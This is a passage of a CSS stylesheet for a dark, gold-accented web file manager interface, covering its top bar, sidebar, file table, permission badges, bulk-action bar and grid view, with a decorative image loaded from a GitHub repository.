  --statusbar-h: 32px;

  /* Easing */
  --ease:    cubic-bezier(.4,0,.2,1);
  --ease-out: cubic-bezier(.2,.8,.2,1);
  --spring:  cubic-bezier(.34,1.3,.64,1);
}

@media (prefers-reduced-motion: reduce) {
  *, *::before, *::after {
    animation-duration: .01ms !important;
    animation-iteration-count: 1 !important;
    transition-duration: .01ms !important;
    scroll-behavior: auto !important;
  }
}


/* ─── RESET ───────────────────────────────────────────────────── */
*,*::before,*::after { box-sizing: border-box; margin: 0; padding: 0 }
html, body { height: 100%; overflow: hidden }
body {
  font-family: var(--sans);
  font-size: 13.5px;
  line-height: 1.5;
  color: var(--tx);
  background: var(--ink0);
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
  text-rendering: optimizeLegibility;
  font-feature-settings: "cv02","cv03","cv04","cv11";
}
button, input, textarea, select { font: inherit; color: inherit; letter-spacing: inherit }
button { -webkit-tap-highlight-color: transparent }
a { color: var(--jade); text-decoration: none }

/* ─── ACCESSIBILITY — focus rings ──────────────────────────────── */
:focus-visible { outline: 2px solid var(--jade); outline-offset: 2px; border-radius: 4px }
button:focus-visible, .bc-btn:focus-visible, .ico-btn:focus-visible { outline-offset: 1px }

/* ─── SCROLLBAR — global subtle ───────────────────────────────── */
::-webkit-scrollbar { width: 9px; height: 9px }
::-webkit-scrollbar-track { background: transparent }
::-webkit-scrollbar-thumb {
  background: var(--ink5);
  border-radius: 99px;
  border: 2px solid transparent;
  background-clip: content-box;
}
::-webkit-scrollbar-thumb:hover { background: var(--ink6); background-clip: content-box; border: 2px solid transparent }

/* ─── PANEL BACKGROUND IMAGE (decorative) ─────────────────────── */
.panel { position: relative }
.panel::before {
  content: "";
  position: absolute;
  top: 50%; left: 50%;
  transform: translate(-50%, -50%);
  width: 95%; max-width: 820px; height: 820px;
  background: url('https://raw.githubusercontent.com/MadExploits/GECKO-FILE-MANAGER/refs/heads/main/image.png') center/contain no-repeat;
  opacity: .035;
  pointer-events: none;
  z-index: 0;
}
.tbl-head, .flist, .grid-wrap, .empty { position: relative; z-index: 1 }

/* ─── AMBIENT BACKGROUND — deep ocean glow, no filter ────────── */
.bg-mesh {
  position: fixed; inset: 0; z-index: 0; pointer-events: none;
  background:
    radial-gradient(ellipse 900px 600px at 8% -5%,  rgba(245,185,66,.10) 0%, transparent 60%),
    radial-gradient(ellipse 700px 500px at 100% 102%, rgba(168,115,14,.08) 0%, transparent 60%),
    radial-gradient(ellipse 500px 380px at 50% 100%, rgba(255,215,110,.03) 0%, transparent 70%),
    radial-gradient(ellipse 600px 400px at 90% 0%, rgba(212,150,31,.05) 0%, transparent 70%),
    linear-gradient(170deg, rgba(5,6,8,0) 0%, var(--ink0) 50%, #030303 100%),
    var(--ink0);
}

/* ─── SHELL ───────────────────────────────────────────────────── */
.shell { position: relative; z-index: 1; display: flex; flex-direction: column; height: 100vh }

/* ─── TOPBAR ──────────────────────────────────────────────────── */
.topbar {
  height: var(--topbar-h);
  background: linear-gradient(180deg, rgba(10,11,14,.95), var(--ink1));
  border-bottom: 1px solid var(--bd2);
  display: flex; align-items: center;
  padding: 0 18px; gap: 14px;
  flex-shrink: 0; z-index: 80;
  box-shadow: 0 1px 0 rgba(245,185,66,.06), 0 1px 0 0 rgba(0,0,0,.4);
}

.logo {
  display: flex; align-items: center; gap: 11px;
  min-width: var(--sidebar-w); flex-shrink: 0;
  padding-right: 14px;
  border-right: 1px solid var(--bd2);
  margin-right: 4px;
  height: 100%;
}
.logo-icon {
  width: 32px; height: 32px; border-radius: 8px;
  background: var(--ink2);
  border: 1px solid var(--bd);
  display: grid; place-items: center; flex-shrink: 0;
  position: relative;
}
.logo-icon svg {
  width: 16px; height: 16px;
  stroke: var(--jade); fill: none;
}

.logo-text { display: flex; flex-direction: column; line-height: 1; gap: 5px }
.logo-name {
  font-size: 14px; font-weight: 600; letter-spacing: -.01em;
  color: var(--tx);
  display: flex; align-items: center; gap: 6px;
}
.logo-name em {
  font-style: normal; font-size: 9px; font-weight: 600;
  color: var(--jade); letter-spacing: .08em;
  padding: 1px 5px; border-radius: 3px;
  background: var(--jade-bg);
  border: 1px solid var(--jade-bd);
}
.logo-sub {
  font-size: 10px; font-weight: 500;
  color: var(--tx4); letter-spacing: .02em;
}
.logo-sub b {
  color: var(--tx3); font-weight: 500;
}

/* ─── SEARCH ──────────────────────────────────────────────────── */
.search-wrap { flex: 1; max-width: 460px; position: relative }
.search-wrap svg.search-ico {
  position: absolute; left: 13px; top: 50%;
  transform: translateY(-50%);
  width: 14px; height: 14px; fill: var(--tx3);
  transition: fill .15s var(--ease);
  pointer-events: none;
}
.search-wrap:focus-within svg.search-ico { fill: var(--jade) }
.search-wrap input {
  width: 100%; padding: 10px 70px 10px 38px;
  background: var(--ink2); border: 1px solid var(--bd2);
  border-radius: var(--r10); outline: none;
  font-size: 13px; color: var(--tx);
  transition: border-color .15s var(--ease), box-shadow .15s var(--ease), background .15s var(--ease);
}
.search-wrap input:hover:not(:focus) { background: var(--ink3); border-color: var(--bd) }
.search-wrap input:focus {
  background: var(--ink2);
  border-color: var(--jade-bd);
  box-shadow: var(--s-jade-soft);
}
.search-wrap input::placeholder { color: var(--tx3) }
.kbd-hint {
  position: absolute; right: 10px; top: 50%; transform: translateY(-50%);
  display: flex; gap: 3px; pointer-events: none;
}
.kbd-hint kbd {
  padding: 2px 6px; font-size: 10px; font-family: var(--mono);
  color: var(--tx3); background: var(--ink3);
  border: 1px solid var(--bd2); border-radius: var(--r4);
  box-shadow: 0 1px 0 rgba(0,0,0,.3);
}

/* ─── TOPBAR RIGHT ────────────────────────────────────────────── */
.topbar-right { display: flex; align-items: center; gap: 8px; margin-left: auto }
.view-pills {
  display: flex; background: var(--ink2); border: 1px solid var(--bd2);
  border-radius: var(--r10); padding: 3px; gap: 2px;
  position: relative;
}
.view-pill {
  width: 30px; height: 26px; display: grid; place-items: center;
  border: none; background: transparent; border-radius: var(--r6);
  cursor: pointer; color: var(--tx3);
  transition: color .15s var(--ease), background .15s var(--ease);
}
.view-pill svg { width: 14px; height: 14px; fill: currentColor }
.view-pill:hover:not(.active) { background: var(--ink3); color: var(--tx2) }
.view-pill.active {
  background: linear-gradient(180deg, var(--ink4), var(--ink3));
  color: var(--jade);
  box-shadow: 0 1px 0 rgba(255,255,255,.04) inset, 0 1px 2px rgba(0,0,0,.3);
}

/* ─── BUTTONS ─────────────────────────────────────────────────── */
.btn {
  display: inline-flex; align-items: center; gap: 7px;
  padding: 8px 14px; font-size: 12.5px; font-weight: 500;
  border-radius: var(--r8); border: 1px solid var(--bd2);
  background: var(--ink3); color: var(--tx2);
  cursor: pointer; white-space: nowrap;
  transition:
    background-color .15s var(--ease),
    border-color .15s var(--ease),
    color .15s var(--ease),
    transform .12s var(--ease-out),
    box-shadow .15s var(--ease);
}
.btn svg { width: 14px; height: 14px; fill: currentColor; flex-shrink: 0 }
.btn:hover {
  background: var(--ink4); color: var(--tx);
  border-color: var(--jade-bd);
  transform: translateY(-1px);
  box-shadow: var(--s1);
}
.btn:active { transform: translateY(0); box-shadow: none; transition-duration: .05s }

.btn-primary {
  background: linear-gradient(180deg, var(--jade), var(--jade-lo));
  border-color: var(--jade-bd2);
  color: #ffffff;
  font-weight: 600;
  box-shadow:
    0 1px 0 rgba(255,255,255,.18) inset,
    0 1px 2px rgba(0,0,0,.3),
    0 0 0 1px rgba(245,185,66,.18);
  text-shadow: 0 1px 0 rgba(255,255,255,.1);
}
.btn-primary:hover {
  background: linear-gradient(180deg, var(--jade-hi), var(--jade));
  border-color: var(--jade);
  color: #ffffff;
  box-shadow:
    0 1px 0 rgba(255,255,255,.22) inset,
    0 4px 16px rgba(245,185,66,.32),
    0 0 0 1px rgba(245,185,66,.32);
}

.btn-danger {
  background: var(--red-bg);
  border-color: var(--red-bd);
  color: var(--red);
}
.btn-danger:hover {
  background: rgba(248,113,113,.18);
  border-color: rgba(248,113,113,.4);
  color: var(--red);
  box-shadow: 0 4px 16px rgba(248,113,113,.18);
}

.btn-term {
  background: var(--jade-bg);
  border-color: var(--jade-bd);
  color: var(--jade);
  font-weight: 600;
}
.btn-term:hover {
  background: rgba(245,185,66,.14);
  border-color: var(--jade-bd2);
  box-shadow: 0 4px 16px rgba(245,185,66,.18);
  color: var(--jade-hi);
}

.btn-icon { padding: 8px; gap: 0 }
.btn-ghost { background: transparent; border-color: transparent; color: var(--tx3) }
.btn-ghost:hover {
  background: var(--ink3); border-color: var(--bd2);
  color: var(--tx2); transform: none; box-shadow: none;
}
.btn-sm { padding: 6px 11px; font-size: 12px; border-radius: var(--r6) }

/* ─── LAYOUT ──────────────────────────────────────────────────── */
.body { display: flex; flex: 1; overflow: hidden; gap: 0 }

/* ─── SIDEBAR ─────────────────────────────────────────────────── */
.sidebar {
  width: var(--sidebar-w); flex-shrink: 0;
  background: linear-gradient(180deg, var(--ink1) 0%, var(--ink0) 100%);
  border-right: 1px solid var(--bd2);
  display: flex; flex-direction: column;
  overflow: hidden;
}
.sb-scroll {
  flex: 1; min-height: 0;
  overflow-y: auto; overflow-x: hidden;
  scrollbar-gutter: stable;
}
.sb-scroll::-webkit-scrollbar { width: 6px }
.sb-scroll::-webkit-scrollbar-track { background: transparent }
.sb-scroll::-webkit-scrollbar-thumb { background: var(--ink4); border-radius: 99px }
.sb-scroll::-webkit-scrollbar-thumb:hover { background: var(--ink5) }
.sb-foot {
  flex-shrink: 0;
  border-top: 1px solid var(--bd2);
  background: linear-gradient(180deg, transparent, rgba(0,0,0,.18));
}
.sidebar-top { padding: 14px 12px 4px }
.sidebar-label {
  font-size: 9px; font-weight: 800; text-transform: uppercase;
  letter-spacing: .18em; color: var(--tx4);
  padding: 0 11px; margin-bottom: 8px;
  display: flex; align-items: center; gap: 8px;
}
.sidebar-label svg {
  width: 11px; height: 11px;
  stroke: var(--jade); fill: none;
  opacity: .8; flex-shrink: 0;
}
.sidebar-label::after {
  content: ""; flex: 1; height: 1px;
  background: linear-gradient(90deg, var(--jade-bd), transparent);
}
.sb-btn {
  display: flex; align-items: center; gap: 11px;
  width: 100%; padding: 7px 11px 7px 9px;
  border: 1px solid transparent;
  background: transparent; border-radius: 8px;
  color: var(--tx2); cursor: pointer; text-align: left;
  font-size: 12.5px; font-weight: 500;
  margin-bottom: 1px;
  position: relative;
  transition:
    background-color .14s var(--ease),
    color .14s var(--ease),
    border-color .14s var(--ease),
    transform .18s var(--ease-out);
}
.sb-btn::before {
  content: ""; position: absolute;
  left: 0; top: 6px; bottom: 6px;
  width: 2px; background: var(--jade);
  border-radius: 0 2px 2px 0;
  transform: scaleX(0); transform-origin: left;
  transition: transform .2s var(--ease-out);
}
.sb-arrow {
  margin-left: auto; flex-shrink: 0;
  font-family: var(--mono); font-size: 13px;
  line-height: 1; color: var(--jade);
  opacity: 0;
  transform: translateX(-4px);
  transition: opacity .18s var(--ease), transform .18s var(--ease-out);
}
.sb-btn:hover {
  background: rgba(245,185,66,.05);
  color: var(--tx);
  border-color: rgba(245,185,66,.16);
  transform: translateX(2px);
}
.sb-btn:hover::before { transform: scaleX(1) }
.sb-btn:hover .sb-arrow { opacity: .9; transform: translateX(0) }
.sb-btn:active { transform: translateX(0); transition-duration: .05s }

.sb-btn.disabled,
.sb-btn[aria-disabled="true"] {
  opacity: .35;
  cursor: not-allowed;
  pointer-events: none;
}

.sb-ico {
  width: 28px; height: 28px; border-radius: 7px;
  display: grid; place-items: center; flex-shrink: 0;
  background: var(--ink3);
  border: 1px solid var(--bd2);
  position: relative; overflow: hidden;
  transition: background-color .14s var(--ease), border-color .14s var(--ease);
}
.sb-ico::after {
  content: ""; position: absolute; inset: 0;
  background: linear-gradient(135deg, rgba(245,185,66,.16) 0%, transparent 60%);
  opacity: 0;
  transition: opacity .14s var(--ease);
  pointer-events: none;
}
.sb-ico svg {
  width: 14px; height: 14px;
  stroke: var(--jade); fill: none;
  stroke-width: 1.8; stroke-linecap: round; stroke-linejoin: round;
  opacity: .9;
  transition: opacity .14s var(--ease);
  position: relative; z-index: 1;
}
.sb-btn:hover .sb-ico {
  background: var(--ink4);
  border-color: var(--jade-bd2);
}
.sb-btn:hover .sb-ico::after { opacity: 1 }
.sb-btn:hover .sb-ico svg { opacity: 1 }

/* Danger variant — for Delete Selected */
.sb-btn.danger:hover {
  background: rgba(248,113,113,.06);
  border-color: rgba(248,113,113,.22);
  color: #ffb3b3;
}
.sb-btn.danger::before { background: var(--red) }
.sb-btn.danger:hover .sb-ico {
  border-color: rgba(248,113,113,.36);
}
.sb-btn.danger:hover .sb-ico::after {
  background: linear-gradient(135deg, rgba(248,113,113,.18) 0%, transparent 60%);
}
.sb-btn.danger .sb-ico svg { stroke: var(--tx3) }
.sb-btn.danger:hover .sb-ico svg { stroke: var(--red) }
.sb-btn.danger:hover .sb-arrow { color: var(--red) }

.sidebar-divider {
  height: 1px;
  background: linear-gradient(90deg, transparent, var(--bd2) 30%, var(--bd2) 70%, transparent);
  margin: 10px 14px;
}

/* ─── DISK WIDGET ─────────────────────────────────────────────── */
.disk-box, .drive-box {
  margin: 10px 12px;
  padding: 14px;
  background: linear-gradient(180deg, var(--ink2), var(--ink1));
  border: 1px solid var(--bd2);
  border-radius: var(--r12);
  position: relative;
  overflow: hidden;
}
.disk-box::before, .drive-box::before {
  content: "";
  position: absolute; inset: 0; pointer-events: none;
  background: linear-gradient(180deg, rgba(245,185,66,.04) 0%, transparent 30%);
  border-radius: inherit;
}
.disk-label {
  font-size: 9.5px; font-weight: 700; color: var(--tx3);
  text-transform: uppercase; letter-spacing: .12em;
  margin-bottom: 12px;
  display: flex; align-items: center; gap: 6px;
}
.disk-label::before {
  content: ""; width: 5px; height: 5px; border-radius: 50%;
  background: var(--jade);
  box-shadow: 0 0 6px var(--jade);
}
.disk-track {
  height: 6px;
  background: var(--ink4);
  border-radius: 99px;
  overflow: hidden;
  margin-bottom: 10px;
  box-shadow: inset 0 1px 2px rgba(0,0,0,.4);
}
.disk-fill {
  height: 100%; border-radius: 99px;
  background: linear-gradient(90deg, var(--jade-dk) 0%, var(--jade-lo) 35%, var(--jade) 70%, var(--jade-hi) 100%);
  transition: width .6s var(--ease-out);
  box-shadow: 0 0 10px rgba(245,185,66,.5);
  position: relative;
}
.disk-meta {
  display: flex; justify-content: space-between;
  font-size: 11px; font-family: var(--mono);
  color: var(--tx2);
}
.disk-meta span:last-child { color: var(--jade); font-weight: 600 }

#driveSelect {
  width: 100%; padding: 9px 11px;
  background: var(--ink3); border: 1px solid var(--bd2);
  border-radius: var(--r8); color: var(--tx);
  font-family: var(--mono); font-size: 11.5px;
  cursor: pointer;
  transition: border-color .15s var(--ease), background-color .15s var(--ease);
}
#driveSelect:hover { background: var(--ink4); border-color: var(--bd) }
#driveSelect:focus { outline: none; border-color: var(--jade-bd); box-shadow: var(--s-jade-soft) }

.sidebar-sys {
  padding: 12px 14px;
  border-top: 1px solid var(--bd2);
  background: rgba(0,0,0,.2);
  font-size: 11px; color: var(--tx4); font-family: var(--mono); line-height: 1.85;
}
.sidebar-sys strong {
  color: var(--tx3); font-size: 9.5px;
  text-transform: uppercase; letter-spacing: .12em;
  font-family: var(--sans); font-weight: 700;
  display: block; margin-bottom: 4px;
}

/* ─── MAIN PANEL ──────────────────────────────────────────────── */
.main { flex: 1; display: flex; flex-direction: column; overflow: hidden; min-width: 0 }

/* ─── ACTION BAR ──────────────────────────────────────────────── */
.actionbar {
  padding: 10px 16px;
  background: linear-gradient(180deg, var(--ink1), var(--ink0));
  border-bottom: 1px solid var(--bd2);
  display: flex; align-items: center; gap: 10px; flex-shrink: 0;
}

/* ─── BREADCRUMB ──────────────────────────────────────────────── */
.breadcrumb {
  display: flex; align-items: center; gap: 1px;
  flex: 1; overflow-x: auto; scrollbar-width: none;
  padding: 5px 8px; min-height: 38px;
  background: var(--ink2);
  border: 1px solid var(--bd2);
  border-radius: var(--r10);
  flex-wrap: nowrap;
  position: relative;
}
.breadcrumb::-webkit-scrollbar { height: 0; display: none }
.breadcrumb::after {
  content: ""; position: absolute; right: 0; top: 0; bottom: 0; width: 24px;
  background: linear-gradient(90deg, transparent, var(--ink2));
  pointer-events: none; border-radius: 0 var(--r10) var(--r10) 0;
}
.bc-btn {
  padding: 4px 9px; border: 1px solid transparent;
  background: transparent; border-radius: var(--r6);
  font-size: 12px; font-weight: 500;
  color: var(--jade); cursor: pointer; white-space: nowrap;
  font-family: var(--mono);
  transition: background-color .12s var(--ease), color .12s var(--ease), border-color .12s var(--ease);
}
.bc-btn:hover {
  background: var(--jade-bg);
  color: var(--jade-hi);
  border-color: var(--jade-bd);
}
.bc-sep {
  color: var(--tx4); font-size: 11px;
  user-select: none; padding: 0 1px;
  font-family: var(--mono);
}
.bc-cur {
  color: var(--tx);
  cursor: default;
  font-weight: 600;
  background: var(--ink3);
  border-color: var(--bd2);
}
.bc-cur:hover { background: var(--ink3); color: var(--tx); border-color: var(--bd2) }

/* ─── FILE PANEL ──────────────────────────────────────────────── */
.panel {
  flex: 1; overflow-y: auto;
  background: var(--ink0);
  contain: layout style;
  transition: opacity .18s var(--ease);
}
.panel.drag-over {
  box-shadow: inset 0 0 0 2px var(--jade), inset 0 0 40px rgba(245,185,66,.08);
}

/* ─── TABLE HEADER ────────────────────────────────────────────── */
.tbl-head {
  display: grid;
  grid-template-columns: 36px 1fr 100px 86px 140px 110px;
  gap: 8px; padding: 10px 16px;
  background: linear-gradient(180deg, var(--ink1), var(--ink2));
  border-bottom: 1px solid var(--bd2);
  position: sticky; top: 0; z-index: 10;
  font-size: 10px; font-weight: 700; text-transform: uppercase;
  letter-spacing: .14em; color: var(--tx3);
  box-shadow: 0 1px 0 rgba(0,0,0,.3), inset 0 -1px 0 rgba(245,185,66,.04);
  align-items: center;
}
.tbl-head .th-sort {
  display: flex; align-items: center; gap: 4px;
  cursor: pointer;
  padding: 3px 6px; margin: -3px -6px;
  border-radius: 4px;
  transition: color .12s var(--ease), background-color .12s var(--ease);
  user-select: none;
}
.tbl-head .th-sort:hover { color: var(--tx); background: var(--ink3) }
.tbl-head .th-sort.active { color: var(--jade) }
.tbl-head .th-arrow {
  width: 10px; height: 10px; opacity: 0;
  transition: opacity .12s var(--ease), transform .15s var(--ease);
  fill: currentColor;
}
.tbl-head .th-sort.active .th-arrow { opacity: 1 }
.tbl-head .th-sort.active.desc .th-arrow { transform: rotate(180deg) }

.tbl-head .chk-cell { cursor: pointer }

/* ─── FILE ROWS ───────────────────────────────────────────────── */
.flist { list-style: none; padding: 4px 0 12px }

.frow {
  display: grid;
  grid-template-columns: 36px 1fr 100px 86px 140px 110px;
  gap: 8px; padding: 0 16px;
  align-items: center; min-height: 48px;
  border-bottom: 1px solid var(--bd3);
  user-select: none;
  position: relative;
  transition:
    background-color .14s var(--ease),
    border-color .14s var(--ease);
  overflow: hidden;
}
.frow:last-child { border-bottom: none }
.frow::before {
  content: ""; position: absolute; left: 0; top: 0; bottom: 0;
  width: 3px;
  background: linear-gradient(180deg, var(--jade-hi), var(--jade), var(--jade-lo));
  transform: scaleY(0); transform-origin: center;
  transition: transform .18s var(--ease-out);
  border-radius: 0 2px 2px 0;
}
.frow::after {
  content: ""; position: absolute; inset: 0; pointer-events: none;
  background: linear-gradient(90deg, var(--jade-bg) 0%, transparent 60%);
  opacity: 0;
  transition: opacity .18s var(--ease);
}
.frow:hover { background: rgba(245,185,66,.025) }
.frow:hover::before { transform: scaleY(.7) }
.frow:hover::after { opacity: 1 }
.frow.sel {
  background: linear-gradient(90deg, var(--jade-bg), rgba(245,185,66,.04));
  border-bottom-color: rgba(245,185,66,.08);
}
.frow.sel::before {
  transform: scaleY(1);
  box-shadow: 0 0 12px var(--jade), 0 0 4px var(--jade);
}
.frow.sel:hover::after { opacity: 0 }
.frow > * { position: relative; z-index: 1 }

/* ─── CHECKBOX ────────────────────────────────────────────────── */
.chk-cell { display: flex; align-items: center; justify-content: center }
.chk-box {
  width: 16px; height: 16px; border-radius: var(--r4); cursor: pointer;
  background: var(--ink3); border: 1.5px solid var(--ink6);
  display: grid; place-items: center;
  transition: border-color .12s var(--ease), background-color .12s var(--ease);
  flex-shrink: 0;
}
.chk-box:hover { border-color: var(--jade) }
.chk-box.on {
  background: var(--jade);
  border-color: var(--jade);
  box-shadow: 0 0 0 1px var(--jade-bd2), 0 1px 4px rgba(245,185,66,.4);
}
.chk-box.on::after {
  content: ""; width: 4px; height: 7px;
  border: 1.5px solid #ffffff; border-width: 0 1.6px 1.6px 0;
  transform: rotate(45deg) translate(-1px,-1px);
}

/* ─── FILE NAME CELL ──────────────────────────────────────────── */
.fname-cell { display: flex; align-items: center; gap: 11px; min-width: 0; cursor: pointer }
.fname-text {
  flex: 1; min-width: 0;
  display: flex; align-items: center; gap: 7px;
}
.fname-text > .fname {
  font-size: 13px; font-weight: 500;
  overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
  transition: color .12s var(--ease);
  color: var(--tx);
}
.fname-cell:hover .fname { color: var(--jade-hi) }
.fname-chip {
  display: inline-block; flex-shrink: 0;
  padding: 1px 6px; border-radius: 3px;
  font-family: var(--mono); font-size: 9px; font-weight: 700;
  text-transform: uppercase; letter-spacing: .06em;
  background: color-mix(in srgb, var(--type-color, var(--jade)) 12%, transparent);
  color: var(--type-color, var(--jade));
  border: 1px solid color-mix(in srgb, var(--type-color, var(--jade)) 22%, transparent);
  opacity: .85;
}
@supports not (background: color-mix(in srgb, red, blue)) {
  .fname-chip {
    background: var(--ink3);
    color: var(--type-color, var(--jade));
    border: 1px solid var(--bd2);
  }
}
.frow:hover .fname-chip { opacity: 1 }

/* ─── ICON ────────────────────────────────────────────────────── */
.ico-wrap {
  width: 30px; height: 30px; border-radius: var(--r8); flex-shrink: 0;
  display: grid; place-items: center;
  background: var(--ink2);
  border: 1px solid var(--bd2);
  transition: background-color .12s var(--ease), border-color .12s var(--ease), transform .15s var(--ease-out);
  position: relative;
}
.frow:hover .ico-wrap, .gcard:hover .ico-wrap {
  background: var(--ink3);
  border-color: var(--type-bd, var(--jade-bd));
}
.fico {
  width: 16px; height: 16px;
  fill: var(--type-color, var(--jade));
  color: var(--type-color, var(--jade));
  opacity: .95;
  transition: opacity .12s var(--ease);
  shape-rendering: geometricPrecision;
}
.frow:hover .fico, .gcard:hover .fico { opacity: 1 }

/* ─── FILE TYPE COLORS — per data-icon ───────────────────────── */
[data-icon="folder"] { --type-color: #f5b942; --type-bd: rgba(245,185,66,.32) }
[data-icon="php"]    { --type-color: #a78bfa; --type-bd: rgba(167,139,250,.32) }
[data-icon="js"]     { --type-color: #f1e05a; --type-bd: rgba(241,224,90,.32) }
[data-icon="css"]    { --type-color: #ff7b72; --type-bd: rgba(255,123,114,.32) }
[data-icon="html"]   { --type-color: #ff9f6e; --type-bd: rgba(255,159,110,.32) }
[data-icon="config"] { --type-color: #a5d6ff; --type-bd: rgba(165,214,255,.32) }
[data-icon="text"]   { --type-color: #c9d1d9; --type-bd: rgba(201,209,217,.28) }
[data-icon="image"]  { --type-color: #7ee787; --type-bd: rgba(126,231,135,.32) }
[data-icon="archive"]{ --type-color: #ffa657; --type-bd: rgba(255,166,87,.32) }
[data-icon="database"]{--type-color: #d2a8ff; --type-bd: rgba(210,168,255,.32) }
[data-icon="file"]   { --type-color: #8b949e; --type-bd: rgba(139,148,158,.28) }

/* Selected state: tint ico-wrap with type color */
.frow.sel .ico-wrap, .gcard.sel .ico-wrap {
  background: color-mix(in srgb, var(--type-color, var(--jade)) 14%, var(--ink2));
  border-color: var(--type-bd, var(--jade-bd2));
}
@supports not (background: color-mix(in srgb, red, blue)) {
  .frow.sel .ico-wrap, .gcard.sel .ico-wrap {
    background: var(--ink3);
    border-color: var(--type-bd, var(--jade-bd2));
  }
}

/* ─── STAGGER FADE-IN ANIMATION ──────────────────────────────── */
@keyframes rowIn {
  from { opacity: 0; transform: translateY(-4px) }
  to   { opacity: 1; transform: translateY(0) }
}
@keyframes cardIn {
  from { opacity: 0; transform: translateY(8px) scale(.97) }
  to   { opacity: 1; transform: translateY(0) scale(1) }
}
.flist .frow {
  animation: rowIn .28s var(--ease-out) backwards;
  animation-delay: clamp(0ms, calc(var(--i, 0) * 16ms), 500ms);
}
.grid-wrap .gcard {
  animation: cardIn .32s var(--ease-out) backwards;
  animation-delay: clamp(0ms, calc(var(--i, 0) * 22ms), 600ms);
}

/* ─── META CELLS ──────────────────────────────────────────────── */
.fmeta {
  font-size: 11.5px;
  color: var(--tx3);
  font-family: var(--mono);
  font-variant-numeric: tabular-nums;
}
.perm {
  display: inline-block;
  padding: 2.5px 9px;
  font-size: 10.5px; font-family: var(--mono); font-weight: 600;
  background: var(--ink3);
  border: 1px solid var(--bd2);
  border-radius: var(--r4);
  color: var(--tx2);
  cursor: pointer;
  letter-spacing: .04em;
  position: relative;
  transition: border-color .12s var(--ease), color .12s var(--ease), background-color .12s var(--ease), transform .12s var(--ease);
}
.perm:hover { transform: translateY(-1px) }

/* WRITABLE — owner has write bit → GREEN */
.perm.perm-ok {
  color: #7ee787;
  border-color: rgba(126,231,135,.30);
  background: rgba(126,231,135,.07);
}
.perm.perm-ok:hover {
  background: rgba(126,231,135,.16);
  border-color: rgba(126,231,135,.55);
  box-shadow: 0 2px 8px rgba(126,231,135,.16);
}

/* WRITABLE + EXECUTABLE — also exec bit (e.g. 755) → BRIGHTER GREEN */
.perm.perm-ok-x {
  color: #4ade80;
  border-color: rgba(74,222,128,.36);
  background: rgba(74,222,128,.08);
}
.perm.perm-ok-x:hover {
  background: rgba(74,222,128,.18);
  border-color: rgba(74,222,128,.6);
  box-shadow: 0 2px 8px rgba(74,222,128,.2);
}

/* READ-ONLY — no owner write → RED (locked) */
.perm.perm-locked {
  color: #ff8e8e;
  border-color: rgba(248,113,113,.32);
  background: rgba(248,113,113,.07);
}
.perm.perm-locked:hover {
  background: rgba(248,113,113,.16);
  border-color: rgba(248,113,113,.55);
  box-shadow: 0 2px 8px rgba(248,113,113,.18);
}


/* ─── ROW ACTIONS ─────────────────────────────────────────────── */
.row-acts {
  display: flex; gap: 2px; opacity: 0;
  transform: translateX(6px);
  transition: opacity .18s var(--ease), transform .18s var(--ease);
  justify-content: flex-end;
}
.frow:hover .row-acts, .frow.sel .row-acts { opacity: 1; transform: translateX(0) }
.ico-btn {
  width: 28px; height: 28px; display: grid; place-items: center;
  border: 1px solid transparent; background: transparent; border-radius: var(--r6);
  cursor: pointer; color: var(--tx3);
  transition: background-color .12s var(--ease), color .12s var(--ease), border-color .12s var(--ease);
}
.ico-btn svg { width: 13px; height: 13px; fill: currentColor }
.ico-btn:hover {
  background: var(--ink4); color: var(--jade);
  border-color: var(--bd2);
}
.ico-btn.del:hover {
  color: var(--red); background: var(--red-bg);
  border-color: rgba(248,113,113,.25);
}

/* ─── BULK SELECTION FLOATING BAR ─────────────────────────────── */
.bulk-bar {
  position: fixed; left: 50%; bottom: calc(var(--statusbar-h) + 16px);
  transform: translateX(-50%) translateY(calc(100% + 24px));
  z-index: 150;
  display: flex; align-items: center; gap: 4px;
  padding: 6px 6px 6px 14px;
  background: linear-gradient(180deg, var(--ink3), var(--ink2));
  border: 1px solid var(--jade-bd);
  border-radius: 12px;
  box-shadow:
    0 12px 40px rgba(0,0,0,.55),
    0 0 0 1px rgba(245,185,66,.18),
    0 0 24px rgba(245,185,66,.1),
    inset 0 1px 0 rgba(255,255,255,.04);
  font-size: 12px;
  opacity: 0; pointer-events: none;
  transition:
    transform .26s var(--spring),
    opacity .2s var(--ease);
}
.bulk-bar.show {
  opacity: 1;
  transform: translateX(-50%) translateY(0);
  pointer-events: auto;
}
.bulk-count {
  font-family: var(--mono); font-weight: 700;
  color: var(--jade); margin-right: 2px;
  font-variant-numeric: tabular-nums;
}
.bulk-label { color: var(--tx2); font-weight: 500 }
.bulk-sep {
  width: 1px; height: 18px;
  background: var(--bd2);
  margin: 0 6px;
}
.bulk-bar .bulk-btn {
  display: inline-flex; align-items: center; gap: 6px;
  padding: 6px 11px; border-radius: 7px;
  font-size: 12px; font-weight: 500;
  background: transparent; border: 1px solid transparent;
  color: var(--tx2); cursor: pointer;
  transition: all .14s var(--ease);
}
.bulk-bar .bulk-btn svg { width: 13px; height: 13px; fill: currentColor }
.bulk-bar .bulk-btn:hover {
  background: var(--ink4); color: var(--jade);
  border-color: var(--bd2);
}
.bulk-bar .bulk-btn.del:hover {
  color: var(--red); background: var(--red-bg);
  border-color: rgba(248,113,113,.3);
}
.bulk-bar .bulk-btn.close {
  width: 28px; padding: 0; height: 28px; justify-content: center;
}
@media (max-width: 640px) {
  .bulk-bar { left: 8px; right: 8px; transform: translateX(0) translateY(calc(100% + 24px)); width: auto }
  .bulk-bar.show { transform: translateX(0) translateY(0) }
  .bulk-bar .bulk-btn span:not(.bulk-only) { display: none }
}

/* ─── GRID VIEW ───────────────────────────────────────────────── */
.grid-wrap {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(135px, 1fr));
  gap: 12px; padding: 16px;
}
.gcard {
  background: linear-gradient(180deg, var(--ink2), var(--ink1));
  border: 1px solid var(--bd2);
  border-radius: var(--r14);
  padding: 22px 12px 14px;
  text-align: center; cursor: pointer;
  position: relative; overflow: hidden;
  transition:
    transform .2s var(--spring),
    border-color .15s var(--ease),
    box-shadow .15s var(--ease),
    background-color .15s var(--ease);
}
.gcard::before {
  content: ""; position: absolute; inset: 0; pointer-events: none;
  background: linear-gradient(180deg, rgba(255,255,255,.025) 0%, transparent 40%);
  border-radius: inherit;
}
.gcard:hover {
  transform: translateY(-3px);
  border-color: var(--jade-bd2);
  box-shadow: var(--s2), 0 0 0 1px var(--jade-bd);
}
.gcard.sel {
  border-color: var(--jade);
